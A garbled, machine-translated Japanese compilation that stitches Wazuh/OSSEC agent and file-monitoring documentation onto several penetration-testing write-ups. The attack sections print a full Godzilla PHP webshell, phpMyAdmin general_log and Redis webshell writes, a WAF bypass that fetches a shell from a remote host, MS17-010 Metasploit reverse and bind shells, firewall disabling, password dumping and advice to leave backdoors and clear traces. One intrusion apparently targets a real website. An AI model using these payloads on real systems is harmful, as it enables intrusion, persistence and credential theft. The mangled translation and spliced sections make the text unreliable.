デフォルトでは、ログデータはエージェントソケットを介して送信されますが、他のエージェントソケットも出力として指定できます。 Ossec-LogCollectorは、COMMUNICATIONにUNIXタイプソケットを使用し、TCPまたはUDPプロトコルを許可します。新しいoutputSocketを追加するには、次の例の構成に示すように、ソケットタグを使用して指定する必要があります。

ソケット

namecustom_socket/name

場所/var/run/custom.sock/location

modetCP/モード

prefixcustom_syslog: /prefix

/ソケット

ソケット

nametest_socket/name

場所/var/run/test.sock/location

/ソケット

注:ソケットの定義に関する詳細:Socket

ソケットを定義した後、各場所にターゲットソケットを追加できます。

ローカルファイル

log_formatsyslog/log_format

場所/var/log/メッセージ/場所

TargetAgent、test_socket/ターゲット

/localfile

ローカルファイル

log_formatsyslog/log_format

場所/var/log/メッセージ/場所

TargetCustom_Socket、test_socket/target

/localfile

注:出力をデフォルトソケットとして維持するには、ターゲットとして「エージェント」を使用して指定する必要があります。それ以外の場合、出力は指定された宛先にのみリダイレクトされます。

5。一般的な問題

5.1各エージェントのログを分析する必要がありますか?

いいえ、マネージャーはすべてのエージェントからログを取得し、情報を分析します。

マネージャーはどのくらいの頻度でログを監視しますか?

マネージャーはログをリアルタイムで監視します。

ログがサーバーに保存されるまでどれくらい時間がかかりますか?

デフォルトでは、ストレージログは自動的に削除されません。ただし、ローカルの法律や規制に基づいて、手動または自動的にログを削除するか(Cronスケジュールされたタスクなど)を選択できます(Cronスケジュールされたタスクなど)。

これはコンプライアンスにどのように役立ちますか?

ログ分析は標準に準拠しています:PCI DSSコンプライアンス、HIPAAコンプライアンス、FISMAコンプライアンス、SOXコンプライアンス。

プロキシのCPU使用率はいくらですか?

主な責任はマネージャーにイベントを転送することであるため、WazuhプロキシのメモリとCPUの要件は非常に低いです。ただし、Wazuhマネージャーでは、CPUとメモリの消費量は、実際のマネージャーの数に応じて急速に増加する可能性があります(EPS)。

Wazuhはどこでログ情報を取得できますか?

Wazuhは、テキストログファイル、Windowsイベントログとイベントチャネル、およびリモートSyslogからログメッセージを読み取ることができます。リアルタイムログ監視。

ファイアウォール、VPN、認証ログをWazuhに送信できますか?

はい。 Wazuhは、Syslogプロトコルを使用してログを送信するデバイスからログを受信して処理できます。特定のデバイスのログのカスタムデコーダーとルールを作成できます。

ログからどの情報を抽出できますか?

あなたのニーズに依存します。アプリケーションログの形式と典型的なイベントを理解したら、それらのデコーダーとルールを作成できます。

これらの重要でないイベントを無視できますか?

重要ではないと思われる特定のイベントを無視するようにルールを構成できます。詳細については、カスタムルールを参照してください

2。ファイル整合性監視

Wazuhのファイルインテグリティ監視(FIM)システム選択したファイルは、これらのファイルを変更するときにアラームをトリガーします。このタスクの原因となるコンポーネントは、Syscheckと呼ばれます。このコンポーネントは、既知の通常のファイルまたはWindowsレジストリキーの変更と変更の確認と監視を保存し、それらを定期的にシステムで使用している現在のファイルと比較して変更を表示します。

1.フロー

2esmjqnhn0j8634.png

Wazuhエージェントの処理は、システムをスキャンし、ファイルとWindowsレジストリキーのチェックサムとプロパティをWazuh Managerに送信します。次のオプションは設定可能です。

頻度:デフォルトでは、Syscheckは12時間ごとに実行されます。

リアルタイム監視:Wazuhは、WindowsまたはLinuxを実行しているサーバーでのリアルタイムファイルの整合性監視をサポートしています(SolarisはInotifyをサポートしていないため、このシステムには適用できません)。リアルタイムオプションは、個々のファイルではなくディレクトリにのみ使用できることに注意してください。

Whodata:この機能はリアルタイム機能に似ており、イベントをトリガーする人に関する情報も提供します。

2. Wazuh Managerは、監視されているファイルのチェックサムとプロパティを保存し、新しい値を古い値と比較することで変更を見つけます。

3.監視対象のファイルまたはレジストリキーで変更が検出される限り、アラームは生成されます。誤検知は、Ingrore Configurationオプションを使用して、またはFIMアラームから除外するファイルをリストするルールを作成して解決できます。

FIMによるアラームの生成の例:

**アラート1540815355.8473973360 -OSSEC、SYSCHECK、PCI_DSS_11.5、GPG13_4.11、GDPR_II_5.1.f、

2018 10月29日13:15:55(ubuntu)10.0.0.144-syscheck

Rule: 550(レベル7) - 「整合性チェックサムが変更されました。」

ファイル '/test/hello'チェックサムが変更されました。

古いmd5sumは: '2a4732b1de5db823e94d662d207b8fb2' '

新しいMD5Sumは: '146C07EF2479CEDCD54C7C2AF5CF3A80'です。

古いsha1sumは: 'b89f4786dcf00fb1c4ddc6ad282ca0feb3e18e1b' '

新しいsha1sumは: 'e1efc99729beb17560e02d1f5c15a42a985fe42c' '

古いSHA256SUMは: 'A8A3EA3DDBEA6B521E4C0E8F2CCA8405E75C042B2A7ED848BAAA03E867355BC2' '

新しいSHA256SUMは: 'A7998F247BD965694FF227FA325C81169A07471A8B6808D3E002A486C4E65975'

古い修正時間は: '月月10月29日13:15:19 2018'、今それは「13:15:54 2018年1月29日です」

(監査)user: 'root(0)'

(監査)login user: 'テスト(1000)'

(監査)効果的なuser: 'root(0)'

(監査)group: 'root(0)'

(監査)プロセスID: '26089'

(監査)プロセス名: '/bin/nano'

属性:

-size: 4

-pormissions: 100644

-date:月10月29日13:15:54 2018

-INODE: 537259

-user:ルート(0)

-group:ルート(0)

-MD5: 146C07EF2479CEDCD54C7C2AF5CF3A80

-SHA1: E1EFC99729BEB17560E02D1F5C15A42A985FE42C

-SHA256: A7998F247BD965694FF227FA325C81169A07471A8B6808D3E002A486C4E65975

2.コンフィグレーション

2.1基本的な使用

syscheckは、ossec.confファイルで構成されています。通常、この構成では、次の部分設定を使用します。

頻度

目次

怠慢

alert_new_files

詳細な構成オプションについては、syscheckにアクセスしてください。

syscheckを構成するには、指定されたファイルとディレクトリリストを識別する必要があります。 CHECK_ALLオプションは、ファイルのサイズ、許可、所有者、最終変更日、INODE、およびすべてのハッシュ(MD5、SHA1、SHA256)をチェックします。

注:ディレクトリパスが同じ場合、集中構成からプッシュされたディレクトリは、ossec.confファイルを上書きします。

syscheck

ディレクトリcheck_all='yes'&g

エージェントライフサイクル

エージェントを登録

監視するエージェントがコンピューターにインストールされたら、コミュニケーションを確立するにはWazuhマネージャーに登録する必要があります。これは、コマンドライン、AUTHD、またはRESTFUL APIを介して実行できます。

登録エージェントは、ユーザーが削除するまでマネージャーに残ります。次の図に示すように、プロキシにはいつでも4つの異なる状態があります。

ilgtruhdkwr8620.png

プロキシステータス

接続なし:プロキシは登録されていますが、マネージャーに接続されていません。

保留中の認証プロセスが待機しています。管理サーバーはプロキシから接続要求を受信しましたが、他には何も受信していません。これは、ファイアウォールの問題を示している可能性があります。プロキシは、接続ライフサイクル中にこの状態に1回行われます。

アクティビティ:エージェントは正常に接続されており、マネージャーと通信できるようになりました。

切断:30分以内にエージェントがエージェントからメッセージを受け取らない場合、管理者はエージェントが切断されると見なします。

プロキシ

を削除します

エージェントホストのマネージャーからエージェントを削除した後、接続ライフサイクルは終了しようとしています。これは、RESTFUL API、コマンドライン、またはAUTHDを介して実行できます(フォースオプションが有効になっている場合)。

強制挿入

別のプロキシに登録されたIPアドレスを使用してプロキシを追加しようとすると、manage_agentsコマンドはエラーを返します。まだ-fオプションで追加を強制することができます。

リスト:

IP 10.0.0.10という名前のServer1という名前のプロキシがインストールされ、IDは005です。サーバーを再インストールする必要があると仮定すると、新しいプロキシを再インストールしてマネージャーに接続する必要があります。この場合、パラメーター-F 0を使用できます。つまり、以前のプロキシ(005)が削除され(バックアップを使用)、新しいプロキシがIPを使用して再作成されます。新しいエージェントには新しいIDがあります。

/var/ossec/bin/manage_agents -n server1 -a 10.10.10.10 -f 0

プロキシ

をリストします

run/var/ossec/bin/agent_controlエージェントの接続ステータスをリストする:

[root@wazhu -manage〜]#/var/ossec/bin/agent_control -l

wazuh agent_control。利用可能なエージェントのリスト:

ID: 000、name3: wazhu-manage(サーバー)、IP: 127.0.0.1、アクティブ/ローカル

ID: 001、name: agent01、IP: 45.77.105.194、Active

ID: 002、name: agent02、IP: 155.138.165.154、Active

ID: 003、name: agent03、IP: 45.77.93.54、Active

ID: 004、name: agent04、IP: 45.77.4.139、Active

エージェントレスデバイスのリスト:

プロキシ

を削除します

run/var/ossec/bin/manage_agentsエージェントを削除します

プロキシを削除する前に確認する場合は、次のコマンドを使用します。

[root@wazhu-manage〜]#/var/ossec/bin/manage_agents

*****************************************

* Wazuh v3.8.0エージェントマネージャー。 *

*次のオプションが利用可能です: *

*****************************************

(a)ddエージェント(a)。

(e)エージェントのXtractキー(e)。

(l)すでに追加されたエージェント(L)。

(r)エージェント(R)をemoveします。

(やめる。

Action: a、e、l、r、q: rを選択します

利用可能なエージェント:

ID: 001、name: agent01、IP: 45.77.105.194

ID: 002、name: agent02、IP: 155.138.165.154

ID: 003、name: agent03、IP: 45.77.93.54

ID: 004、name: agent04、IP: 45.77.4.139

削除するエージェントのIDを提供する(または終了するために「\ q」): 004

削除を確認しますか?(y/n): y

エージェント '004'削除。

*****************************************

* Wazuh v3.8.0エージェントマネージャー。 *

*次のオプションが利用可能です: *

*****************************************

(a)ddエージェント(a)。

(e)エージェントのXtractキー(e)。

(l)すでに追加されたエージェント(L)。

(r)エージェント(R)をemoveします。

(やめる。

Action: A、E、L、R、またはQ: Qを選択します

確認なしにプロキシを削除する場合は、次のオプションを使用してください。

#/var/ossec/bin/manage_agents -r 001

*****************************************

* Wazuh v3.8.0エージェントマネージャー。 *

*次のオプションが利用可能です: *

*****************************************

(a)ddエージェント(a)。

(e)エージェントのXtractキー(e)。

(l)すでに追加されたエージェント(L)。

(r)エージェント(R)をemoveします。

(やめる。

Action: A、E、L、R、またはQ:を選択してください

利用可能なエージェント:

id: 001、name: new、ip: any

削除されるエージェントのIDを提供する(または終了するために「\ q」): 001

削除を確認しますか?(y/n): y

エージェント '001'削除。

**変更が有効になるには、OSSECを再起動する必要があります。

manage_agent:終了。

プロキシ接続ステータス

をリストします

利用可能なエージェントのリストを返すようにget /agentsをリクエストします。

注:GETはCurlのデフォルト操作であり、特別な参照は必要ありません。

[root@wazhu-manage〜]

{

'error ': 0、

'data ': {

'TotherItems': 5、

'アイテム': [

{

'status ':' Active '、

'name':' wazhu-manage '、

'ip':' 127.0.0.1 '、

'Manager':' Wazhu-manage '、

'node_name':' node01 '、

'DateAdd':' 2019-01-21 09:58336043 '、

'version ':' wazuh v3.8.0 '、

'LastKeepalive':' 9999-12-31 23:59:59 '、

'OS': {

'Major':' 7 '、

'name ':' centos linux '、

'uname':' linux | wazhu-manage | 3.10.0-957.1.3.el7.x86_64 |#1 smp thu thu nov 29 14:49:43 UTC 2018 | x86_64 '、

'Platform ':' Centos '、

'バージョン':' 7 '、

'codename ':' core '、

'Arch':' x86_64 '

}、

'id':' 000 '

}、

{

'status ':' Active '、

'ConfigSum':' AB73AF41699F13FDD81903B5F23D8D00 '、

'グループ': [

'デフォルト'

]、

'name ':' agent01 '、

'mergedSum':' f8d49771911ed9d5c45b03a40babd065 '、

'ip': '45 .77.105.194'、

'Manager':' Wazhu-manage '、

'node_name':' node01 '、

'Dateadd':' 2019-01-22 07:14336026 '、

'version ':' wazuh v3.8.0 '、

'LastKeepalive':' 2019-01-22 18:11336046 '、

'OS': {

'Major':' 16 '、

'name ':' ubuntu '、

'uname ':' linux | Agent01 | 4.4.0-137-Generic |#163-Uubuntu SMP Mon Sep 24 13:14336043 UTC 2018 | X86_64 '、

'Platform ':' ubuntu '、

'バージョン': '16 .04.5 LTS'、

'Codename ':' Xenial Xerus '、

'Arch':' x86_64 '、

'minor':' 04 '

}、

'id':' 001 '

}、

{

'status ':' Active '、

'ConfigSum':' AB73AF41699F13FDD81903B5F23D8D00 '、

'グループ': [

'デフォルト'

]、

'name ':' agent02 '、

'mergedSum':' f8d49771911ed9d5c45b03a40babd065 '、

'ip':' 155.138.165.154 '、

'Manager':' Wazhu-manage '、

'node_name':' node01 '、

'DateAdd':' 2019-01-22 09:29336021 '、

'version ':' wazuh v3.8.0 '、

'LastKeepalive':' 2019-01-22 18:11336039 '、

'OS': {

'Major':' 16 '、

'name ':' ubuntu '、

'uname ':' linux | Agent02 | 4.4.0-137-Generic |#163-Uubuntu SMP Mon Sep 24 13:14336043 UTC 2018 | X86_64 '、

'Platform ':' ubuntu '、

'バージョン': '16 .04.5 LTS'、

'Codename ':' Xenial Xerus '、

'Arch':' x86_64 '、

'minor':' 04 '

}、

'id':' 002 '

}、

{

'status ':' Active '、

'ConfigSum':' AB73AF41699F13FDD81903B5F23D8D00 '、

'グループ': [

'デフォルト'

]、

'name ':' agent03 '、

'mergedSum':' f8d49771911ed9d5c45b03a40babd065 '、

'ip': '45 .77.93.54'、

'Manager':' Wazhu-manage '、

'node_name':' node01 '、

'DateAdd':' 2019-01-22 10:15336026 '、

'version ':' wazuh v3.8.0 '、

'LastKeepalive':' 2019-01-22 18:11336042 '、

'OS': {

'Major':' 16 '、

'name ':' ubuntu '、

'uname ':' linux | Agent03 | 4.4.0-137-Generic |#163-Uubuntu SMP Mon Sep 24 13:14336043 UTC 2018 | X86_64 '、

'Platform ':' ubuntu '、

'バージョン': '16 .04.5 LTS'、

'Codename ':' Xenial Xerus '、

'Arch':' x86_64 '、

'minor':' 04 '

}、

'id':' 003 '

}、

{

'status ':' Active '、

'ConfigSum':' AB73AF41699F13FDD81903B5F23D8D00 '、

'グループ': [

'デフォルト'

]、

'name ':' agent04 '、

'mergedSum':' f8d49771911ed9d5c45b03a40babd065 '、

'ip': '45 .77.4.139'、

'Manager':' Wazhu-manage '、

'node_name':' node01 '、

'DateAdd':' 2019-01-22 10:34336001 '、

'version ':' wazuh v3.8.0 '、

'LastKeepalive':' 2019-01-22 18:11336043 '、

'OS': {

'Major':' 16 '、

'name ':' ubuntu '、

'uname ':' linux | Agent04 | 4.4.0-137-Generic |#163-Uubuntu SMP Mon Sep 24 13:14336043 UTC 2018 | X86_64 '、

'Platform ':' ubuntu '、

'バージョン': '16 .04.5 LTS'、

'Codename ':' Xenial Xerus '、

'Arch':' x86_64 '、

'minor':' 04 '

}、

'id':' 004 '

}

]

}

}

プロキシ

を削除します

指定されたエージェントを削除するには、delete /agents /:agent_idを要求します。

[root@wazhu -manage〜]

{'error':0、' data ': {'msg':'すべての選択されたエージェントは削除されました '、' fitrected_agents': ['003']}}}

wazuhアプリケーションを使用して

リストエージェント:

Wazuhアプリケーションの[エージェント]タブに移動することにより、登録されたすべてのエージェントに関する基本情報をリストおよび表示できます。

rfl2twors048621.pngディスプレイエージェント

プロキシをクリックすると、プロキシに関する詳細情報が表示されます。

dx1mmwfitvj8622.png

マネージャーへの接続を確認してください

プロキシとマネージャーの間の接続を確認する前に、最初にプロキシがマネージャーのIPアドレスを指していることを確認します。これは、clientxmlタグを使用してossec.confによって設定されます。詳細については、クライアントリファレンスを参照してください。

ossec_configclienterveraddress149.248.9.0/addressprotocoludp/protocol/server/client/ossec_config

これにより、Wazuh Manager Serverとして149.248.9.9が設定されます。これを行った後、プロキシを再起動する必要があります。

A.SystemD:

#systemctlはwazuh-agentを再起動します

B. sysv init:用

#サービスwazuh-agent Restart

プロキシを登録して接続に正常に接続したら、マネージャーへのプロキシ接続のリストを表示できます。

[root@wazhu -manage〜]#/var/ossec/bin/agent_control -lc #agent Manager

wazuh agent_control。利用可能なエージェントのリスト:

ID: 000、name3: wazhu-manage(サーバー)、IP: 127.0.0.1、アクティブ/ローカル

ID: 001、name: agent01、IP: 45.77.105.194、Active

ID: 002、name: agent02、IP: 155.138.165.154、Active

また、マネージャーへのUDP接続が確立されていることを確認することにより、プロキシが正しく接続されているかどうかを確認することもできます。

root@agent02:〜#netstat -vatunp | grep ossec -agentd #agentカスタマーサービス

UDP 0 0 155.138.165.154:58599 149.248.9.033601514確立5088/OSSEC-Agentd

結果は、プロキシおよびマネージャーのIPアドレスと一致する必要があります。

Agent_Controlセクションでは、マネージャーに登録されたエージェントのステータスに関する情報を見つけることができます。

グループエージェント

バージョン3.0.0の新機能。

登録プロキシを構成するには、2つの方法があります。 ossec.confファイルを使用してローカルで構成することも、集中構成を使用してリモートで構成することもできます。集中構成を使用する場合、それぞれが一意の構成を持つグループにプロキシを割り当てることができます。これにより、構成プロセス全体が大幅に簡素化されます。

特に指定されていない限り、すべての新しいエージェントは「デフォルト」グループに自動的に属します。インストール中にこのグループを作成し、構成ファイルを/var/ossec/etc/shared/default/folderに配置します。これらのファイルは、マネージャーからグループに属するすべてのエージェントにプッシュされます。

1.特定の構成を持つグループにプロキシを割り当てる手順を次に示します。

エージェントがマネージャーに追加されたら、Agent_GroupsツールまたはAPIを使用してグループに割り当てます。次の方法は、グループ「test01」列にID 002を含むプロキシを割り当てることです。

agent_groupsを使用してください:

[root@wazhu-manage default]#cd/var/ossec/etc/shared

[root@wazhu-manage共有]#mkdir test01

[root@wazhu-manage共有]#/var/ossec/bin/agen

ターゲットを決定します

1049983-20211227133329750-1797698662.png

情報を収集

x.x.x.x最初に、通常のテスト方法が動揺し、ディレクトリスキャン、ポートスキャン、JSファイル、ミドルウェア、指紋認識があります。

意志でパスを追加し、エラーを報告します。このインターフェースを見ると、すぐに考えがあります。

1049983-20211227133330621-2119695253.png

なぜ私はそれを言うのですか?私はそのようなウェブサイトに遭遇したので、それがエラーを報告したからです。これは、PHPStudyと同じUPUPWと呼ばれるPHP統合環境です。

upupw -pmd

phpstudy-phpmyadmin

ブレークスルーポイント

この統合された環境パッケージには、データベース管理インターフェイスに接続されているphpinfoページもあります

U.PHP 1049983-20211227133331530-711060481.png

弱いパスワードをテストします

ルート/ルート1049983-20211227133332070-251029247.png

接続が成功した後、phpinfoのページを見ることができます

1049983-20211227133332577-1872535075.png

さて、問題はシェルを取得するためにphpmyadminになります

1049983-20211227133333110-1709311843.png

getShell

シェルを取得するための3つのステップ

Global general_log='on'を設定します。

グローバルgeneral_log_file='d:/xxxx/www/cmd.php'を設定します。

'?php assert($ _ post [' cmd ']);'; 3番目のステップが実行されたときにページは実行されます。応答なし。私は瞬時に間違っていると感じ、wafがあるかもしれません

馬を殺さないように変更してみてください、TXTに書いて、成功するかどうかを確認してください

1049983-20211227133333669-199389760.png

問題ありません。PHPファイルを直接書き込むだけです

1049983-20211227133334288-244199575.png

シェルに直接書き込み、接続できます

1049983-20211227133334716-2004556101.png

案の定、WAFがあります。書いていたときに感じました。私はシェルを殺さずにはいられませんでした、そして、SQLステートメントは実行できませんでした。

bypass waf

私は地獄が何であるかわからなかった、ファイルをダウンロードしてみてください

PHPコードWAFのインターセプトを避けるために、ここでリモートでダウンロードしたスクリプトは、JavaScriptを使用してPHPの音訳を使用することです。

グローバルgeneral_log_file='c:/users/administrator/desktop/upupw_ap5_64/htdocs/11.php'を設定します。

'スクリプト言語=' PHP '$ a=' http://x.x.x.x.x.x:81/shell.txt '; $ b=' file '.'_ g'。 /スクリプト '1049983-20211227133335151-847208151.png

11.phpにアクセスすると、shell.phpが生成されます

ここのシェルは、ゴジラのキルフリーシェルも使用しています

?php

session_start();

@set_time_limit(0);

@error_reporting(0);

関数e($ d、$ k){

for($ i=0; $ itrlen($ d); $ i ++){

$ d [$ i]=$ d [$ i]^$ k [$ i+115];

}

$ dを返します。

}

関数Q($ d){

base64_encode($ d)を返します。

}

関数o($ d){

base64_decode($ d)を返します。

}

$ p='pass';

$ v='ペイロード';

$ t='3c6e0b8a9c15224a';

if(isset($ _ post [$ p])){

$ f=o(e(o($ _ post [$ p])、$ t));

if(isset($ _ session [$ v])){

$ l=$ _セッション[$ v];

$ a=Explode( '|'、$ l);

クラスc {public function nvoke($ p){eval($ p。 '');}}

$ r=new C();

$ r-nvoke($ a [0]);

エコーサブスト(MD5($ P. $ T)、0,16);

echo q(e(@run($ f)、$ t));

エコーサブスト(MD5($ P. $ T)、16);

}それ以外{

$ _Session [$ v]=$ f;

}

} 1049983-20211227133335581-974274230.png

何度も試してみてください

1049983-20211227133336029-1700065528.png

1049983-20211227133336441-1129894130.png

プロセスにはWAFプロセスはありません

許可はシステムです

1049983-20211227133336872-903456971.png

散音コード

パスワードをアップロードするツールをアップロードし、管理パスワードを直接取得し、サーバーにログオンします

1049983-20211227133337323-583019201.png

1049983-20211227133337843-704173796.png

1049983-20211227133338235-1688533904.png

バックドアを離れて、トレースをきれいにします

削除されている場合は、もう少し背景を残してください

1049983-20211227133338618-611847887.png

1049983-20211227133339144-1587633202.png

このネットワークセグメントには非常に多くのマシンがあります

1049983-20211227133339619-1138922452.png

ソースコード

ソースコードを開き、WAFが360webscan 1049983-20211227133340154-1963496794.pngであることがわかります

概要:1。情報収集、ディレクトリスキャニング、ポートスキャン、JSファイルに敏感なファイルスキャン、ミドルウェアスキャン、利用可能な情報なしで指紋認識2。この環境では、phpinfoと呼ばれるファイルはu.phpです。弱いパスワードルート/ルートを入力すると、phpmyAdminを直接入力できます。同時に、phpinfoの情報を表示できます。ウェブサイトにさらされた絶対パスはD:/xxxx/www/upupw_apw5_64/htdocs/4.phpmyadmin shellset global general_log='on'を取得します。 '?php assert($ _ post [' cmd ']);'; 5。文を直接記述できますが、シェルに接続してWAF 6によって傍受されます。スクリプトはリモートでダウンロードされましたJavaScriptを使用してPHPバイパスWAF(360WEBSCAN)セットSET SET SET SET SET SET SET SET SET SET/XXXX/WWW/UPUPW_AP5.5_64/HTDOCS/11.PHP '; PHP'; $ a='http://x.x.x.x.x336081/shell.txt'; $ b='file' .'_ g '。' et _ '。 /script'7。 11.phpにアクセスすると、shell.phpshell.txt:php session_start()が生成されます。 @set_time_limit(0); @error_reporting(0);関数E($ d、$ k){for($ i=0; $ istrlen($ d); $ i ++){$ d [$ i]=$ d [$ i]^$ k [$ i+115]; } $ dを返します。 } function q($ d){return base64_encode($ d); } function o($ d){return base64_decode($ d); } $ p='pass'; $ v='ペイロード'; $ t='3c6e0b8a9c15224a'; if(isset($ _ post [$ p])){$ f=o(e($ _ post [$ p])、$ t)); if(isset($ _ session [$ v])){$ l=$ _ session [$ v]; $ a=Explode( '|'、$ l);クラスC {public function nvoke($ p){eval($ p。 '');}} $ r=new C(); $ r-nvoke($ a [0]);エコーサブスト(MD5($ P. $ T)、0,16); echo q(e(@run($ f)、$ t));エコーサブスト(MD5($ P. $ T)、16); } else {$ _session [$ v]=$ f; }} 8。シェルを草から接続してから、プロセスタスクリストを確認します。ウイルス対策ソフトウェアはありません。許可を表示し、システムの許可を表示します9。ハッシュをアップロードしてローカルパスワードをつかみます。ローカルパスワードをつかみます。 11.ソースコードをダウンロードして、WAFで使用されている360Webscanの元のリンクを見つけます:https://xz.aliyun.com/t/9181

ネットワーク構成

外部ネットワークWIN7:IP1: 192.168.127.91/255.255.255.0、GW:192.168.127.2(NATモード)IP2:1010.0.0.20.98-VMNET1(ホストモード)ドメインホストモード:10.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0。のみ)10.0.10.111-VMNET2(ホストモードのみ)ドメイン制御:10.0.10.110-VMNET2(ホストモードのみ)パスワード構成:Win7:Win7/Adminwin2016:administrator/admin@123、 ARP-SCAN -L同じネットワークセグメント1049983-20221213191711513-1626284435.pngの存続ホストをスキャンしている生存ホスト:192.168.127.91ポートをスキャンして、生き残ったターゲットマシンのIPアドレスをスキャンします

NMAP -SC -T4 192.168.127.91 1049983-20221213191712192-145196284.pngターゲットシステムがWin7であり、445ポートが開いていることを発見しました。 Eternal Blue(MS17-010)を使用してターゲットシステム

情報収集

にヒットしてみてください

イントラネットホストの浸透

KALIにコマンドを入力:MSFConsoleMSF 6検索17-010MSF 6使用ペイロードWindows/X64/MeterPreter/Reverse_TCPMSF 6 SET LPORT 66666MSF 6セットLHOST 192.18.129.127.127.127.127.127.127.127. 192.168.127.91msf 6 Run 1049983-20221213191712956-1029759909.pngMeterPreterShellc: \ Windows \ System32IpConfig 1049983-20221213191713593-1283889188.png私はいくつかの文字化けコードを見つけたので、C: \ Windows \ System32CHCP 65001#65001#65001#65001#65001#65001#65001 c: \ windows \ system32ipconfig#iは2つのネットワークセグメントを見つけました。1つは192.168.127ネットワークセグメント、もう1つは10.0.20ネットワークセグメント1049983-20221213191714161-1094728529.pngC: \ Windows \ System32Whomai 1049983-20221213191714702-252348703.pngC: \ windows \ system32tasklist/svc#view#view system in system 1049983-20221213191715346-1589597284.pngc3: \ windows \ system32exit #exit shellコマンド末端1049983-20221213191715906-298369840.pngmeterleterloadoload loadoload loadoload loadoload load load load loadoload MeterPreterCreds_All#すべての現在のユーザーのログイン資格情報をゲットし、ユーザー名がWin7であり、パスワードは管理者1049983-20221213191716474-911388489.png

010-10ダイレクトアクセス、3http://192.168.127.91 oa。現在のバージョンは11.33http://192.168.127.91/inc/inc/expired.php 1049983-20221213191717943-640772642.png Tongdaの検索11.3既存のファイルには検索エンジンを介した脆弱性が含まれています:https://blog.csdn.net/hackzkaq/article/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/11590000 1049983-20221213191718577-2099848132.png Ant Sword 1049983-20221213191719216-2051261566.png 1049983-20221213191719873-1907814987.pngを使用して正常に接続すると、Ant Swordのコマンドターミナルの下で現在のユーザーをシステム許可に表示する許可は、1049983-20221213191720452-937084830.png

Web浸透

がシェルが移住している場合に依然として壊れている場合に依存しているときに、シェルが発生します。ディスクへの書き込み操作のないターゲットマシンの安定したプロセスにより、浸透が検出がより困難になります。

自動移行プロセスコマンド(post/windows/manage/magrateの実行)の後、システムは自動的に適切なプロセスを見つけてから、メータープレターを移行してから、1080のspoolsv.exeからspoolsv.exeを管理/移行します。1049983-20221213191721606-1086021725.pngADDダイナミックルートメータープレーターはAutoroute -S 10.0.20.0/24またはMeterPreter BackgroundMeterPreter Sessionsmsf6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)を使用します。 1MSF6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)RUN 1049983-20221213191722153-1006008758.pngMETERPRETERバックグラウンド1049983-20221213191722667-1892001697.png生き残ったホストMSF6エクスポロイトを発見(Windows/SMB/MS17_010_ETERNALBLUE) Exploit(Windows/SMB/MS17_010_ETERNALBLUE)セッションセッション1MSF6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)SET RHOSTS 10.0.20.1-254MSF6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)RUN 1049983-20221213191723297-1260029520.png Survive host.20.9 SOCKS5 Proxy MSF6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)使用補助/サーバー/SOCKS_PROXYMSF6 AUXILIARY(SERVER/SOCKS_PROXY)1049983-20221213191723930-1794879283.png 1049983-20221213191724427-2109448838.pngポートスカンシングを修正する必要があります。構成ファイル

VIM /TC/PROXYCHAINS4.CONFSOCKS5 127.0.0.1 1080スキャンNMAPプロキシチェーンを介してターゲットIPの一般的に使用されるポートをスキャンNMAP -ST -PN 10.0.20.99 -P22,23,80,139,445,1433,3306,3389,6379 1049983-20221213191725085-1001411680.pngは、10.0.20.99のホストがポート6379および80に開かれていることを発見しました。ここには、ローカルソックス5プロキシサービスプロキシアソフトウェア1049983-20221213191725785-1588524664.pngがDirsearchをスキャンし、ターゲットがPHPINFO.PHPセンシティページを持っていることを発見しました。 200,302 - Format CSV -O C: \ Users \ backlion \ Desktop \ dirsearch-master \ xxx.com.csvまたは攻撃機の下でプロキシチェインを実行するか、kali python dirsearch.py -u http://10.0.0.20.99 -i -Proxy=Socks5: //127.0.0.1:1080 -T 5 1049983-20221213191726385-1294028240.png PHPINFO.PHPページにアクセスして、ウェブサイトの絶対パスが公開されていることを確認してください:C:/PHPSTUDY/PHPTUORIAL/WWW/333333333810.0.0.PHPT.0.PHPT.0.0.PHPTURE 1049983-20221213191727081-1201665938.png

http://10.0.20.99/l.php 1049983-20221213191727770-861141790.png 010-10 Redis-Cli Command Proxychains Redis-Cli -H 10.0.20.99を介したパスワードなしのリモート接続'c:/phpstudy/phptutorial/www/' #switchシェル10.0.20.20.99:606379セットx '\ n \ n \ n?php @eval($ _ post [' x ']); 10.0.20.99:6379 Config set dbfileName shell.php#ファイル名をshell.php10.0.0.20.993:6379 Save 1049983-20221213191728929-503785144.pngここに、地元のホストのAnt Swordを介したプロキシです。1049983-20221213191730770-72949433.pngView現在のユーザーの許可はシステム1049983-20221213191731393-709923329.png

ハンドアロンの浸透

フォワードシェルコデムスフヴェンム-P Windows/x64/meterpreter/bind_tcp lport=3333 -f exe shell.exe 1049983-20221213191732625-154911111.pngを実行して、リスナーを構成します

Exploit/Multi/Handlerset Payload Windows/x64/meterpreter/bind_tcpset lport 33333set rhost 10.0.20.99run 31049983-20221213191733277-1105419620.png Firewall netsh firewalsetopmodemode=disable 010-69556 run shell.exe in the Antable同じネットワークセグメントホストMeterPreter ARP 1049983-20221213191735076-285032627.pngスキャン10.0.10.110ネットワークセグメント移行プロセスRun Post/Windows/Manage/Migrate

0x01はじめに

Typhoon VMには、複数の脆弱性と構成エラーが含まれています。 Typhoonを使用して、脆弱性、構成エラー、脆弱なWebアプリケーション、パスワードクラッキング攻撃、許可攻撃、遅い利用ステップ、情報収集、およびネットワークサービスでのDNS攻撃をテストするために使用できます。

Typhoon-V1.02画像ダウンロードアドレス:

https://download.vulnhub.com/typhoon/typhoon-v1.02.ova.torrent

0x02情報収集

1.生き残った宿主をスカン

ARP-SCAN -L

la0syyqxfm28596.jpg

発見された192.168.1.104は、ターゲットマシンシステムです

2.ポート検出

NMAP-A 192.168.1.104

root@kali2018:〜#nmap -a 192.168.1.104

2019-01-30 09:17 ESTでNMAP 7.70(https://nmap.org)を開始

192.168.1.104のNMAPスキャンレポート

ホストはアップ(0.0012Sレイテンシ)です。

表示されていません: 983閉じたポート

ポートステートサービスバージョン

21/TCP Open FTPVSFTPD 3.0.2

| _ftp-anon:匿名FTPログイン許可(FTPコード230)

| FTP-SYST:

| STAT:

| FTPサーバーStatus:

| 192.168.1.21に接続

| FTPとしてログインしました

| Type: ASCII

|セッション帯域幅の制限はありません

|秒単位のセッションタイムアウトは300です

|制御接続はプレーンテキストです

